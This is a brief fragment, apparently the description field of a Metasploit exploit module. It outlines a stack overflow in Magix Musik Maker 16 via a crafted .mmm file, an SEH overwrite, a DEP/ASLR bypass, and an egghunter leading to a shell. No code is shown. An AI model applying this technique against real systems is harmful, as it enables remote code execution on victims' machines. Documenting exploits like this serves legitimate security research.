'Description' => %q{  
This module exploits a stack buffer overflow in Magix Musik Maker 16.  
When opening a specially crafted arrangement file (.mmm) in the application, an  
unsafe strcpy() will allow you to overwrite a SEH handler. This exploit  
bypasses DEP & ASLR, and works on XP, Vista & Windows 7. Egghunter is used, and  
might require up to several seconds to receive a shell.
